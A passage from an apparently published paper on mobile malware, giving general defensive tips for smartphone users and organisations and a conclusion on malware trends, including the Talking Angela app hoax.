absence of children’s parents. There are flaws in the architecture of the application though, which makes
the turning on and off of child mode easy to achieve, even for the very children it is supposed to protect.

All these kinds of hoaxes have a negative impact on children. Talking Angela is simply a cartoon bot
which works in random ways, and claims to delete all the user data it registers. According to the co-
founder of Outfit7, Sambo Login, “it is impossible for a human to take control over the application”.

PREVENTIVE MEASURES FROM MOBILE MALWARE
Here are some tips on securing Mobile devices.

AWARENESS AMONG USERS

Most of the threats can easily recede if a user is properly informed and aware regarding his devices.
Users must understand that applications, games etc. can contain Malware and they should therefore,
verify the source before installation, as well as verifying the app permissions and data it is requesting
to use. If a user finds anything suspicious, the rule of thumb is to not install that particular application
and search instead for an alternative.

DON’'T USE UNSECURED WI-FI NETWORKS

Generally unprotected over-the-air networks are insecure and highly susceptible to Malware attacks.
There is a very high probability that such networks are monitored by attackers and are used for Man
in the Middle (MITM) attacks. Therefore, mobile users should not use a Wi-Fi network without having a
proper authentication and knowledge of the source.

RESTRICT DEVICE ACCESS AMONG AN ORGANIZATION

Although using your own device can be an added advantage to both a company and the employee, it can
add a substantial risk factor to an organization’s integrity. Therefore, an organization should restrict us-
ers from opening certain webpages, user portals etc. on company devices. If this is allowed on employee
devices, then the employee should be made aware of how they are using it.

USE TRUSTED SOURCE FOR APPS

As already mentioned in this paper, a trusted source is less likely to send Malware to your mobile device
than an unverified one. Therefore, always use trusted and verified sources when installing applications
on mobile phones. Organizations can create a store of their own so that their data is at a lesser risk of
becoming compromised by third party sources. Users should also be aware of the Malware attacks and
modifications in applications relating to their interests.

DON’'T ROOT YOUR DEVICE
Rooting or jail-breaking your device means you are inviting Malware in. It voids security of a device be-
cause it provides access to all kinds of applications, most of which are infected with Malware.

USE PROPER ANTI-MALWARE
Using updated anti-virus solutions can prevent your device from falling victim to Malware attacks.
Therefore, always install an anti-Malware, anti-virus or anti-spyware on your mobile device.



Using strong passwords and encryption schemes for your device, especially SIM cards, can make break-
ing in and stealing information a very tedious task for hackers. Therefore, ensure you are protected by
completely encrypting your device.

AVOID CLOUD SHARING NETWORKS

Although sharing your data on a cloud makes it accessible to you from any location, if that cloud lacks
proper security, your data could become compromised. Organizations can provide cloud sharing alterna-
tives to its employees so that sensitive information can be prevented from leaking.

UPDATE YOUR OPERATING SYSTEM

Android users are the primary target. Keep mobile devices up-to-date so that new modifications and se-
curity patches are automatically applied to your devices. It is recommended that you keep checking your
operating system for any new updates in the software.

CONCLUSION

The trend of attacking Smartphones is skyrocketing. It has become extremely dangerous to use your
phone, especially for sensitive data exchange such as banking transactions, without proper precautions.
Malicious software that is specifically designed to target valuable customer information is growing rapid-
ly. More and more of these techniques have raised their heads in the last couple of years. Malware writ-
ers are heading towards a more sophisticated approach of coding Malware that reduces their chances
of detection and removal. Numerous categories of Malware have been detected in recent months, most
prominent of which is the ‘bots’ category. Cybercriminals today spread their Malware to earn profits.
Therefore, mobile phones are at a greater risk of being subject to Malware attack.

Android, being the most-used mobile platform, is the one to be most often affected by Malware attacks.
This is primarily due to its architectural flaws, which require modification by Google itself. However, most
of the threats belong to third party applications, which are unauthorized and whose writers are generally
unknown. In the coming years, Mobile Malware is expected to take a giant leap and go as far as to root
phones so that Malware removal and detection becomes much harder. Mobile devices can even be used
for PCI attacks; the first of this kind was registered in 2013. Therefore, it will not come as a surprise if in
the near future most Wi-Fi attacks are launched through mobile devices only. Along with this, SMS Tro-
jans remain a threat and pose a real challenge to Mobile Malware forensics which is going to be active
in new territories if it is not controlled in time.

It is not just obvious attacks that are marking the emergence of Malware threats, but hidden ones, such
as psychological Malware, have an equal part to play. A very clear instance of this which we covered was
the Talking Angela app. There are many such kinds of applications which can be categorized as threats
and affect human in an adverse manner.

Not just writing, but also the spreading of Malware has taken a great leap. It used to be only pornogra-
phy which was considered a threat and a highly positive Malware carrying content category, but in recent
times this trend has shifted to Malvertising. Adware is posing as a prominent security challenge to infor-
mation security researchers. This trend is developing rapidly, and many more devices are falling victim
to infected advertisements.

To conclude, Mobile Malware Forensics will need to meet the challenge of the rapidly changing future
threat landscape. The test lab is often not a pure technical analysis, it now becomes a human behav-
ioural issue that uses social media as the lab and battle ground. This is a battle ground that most of us
carry with us in our pockets and we are the lab.
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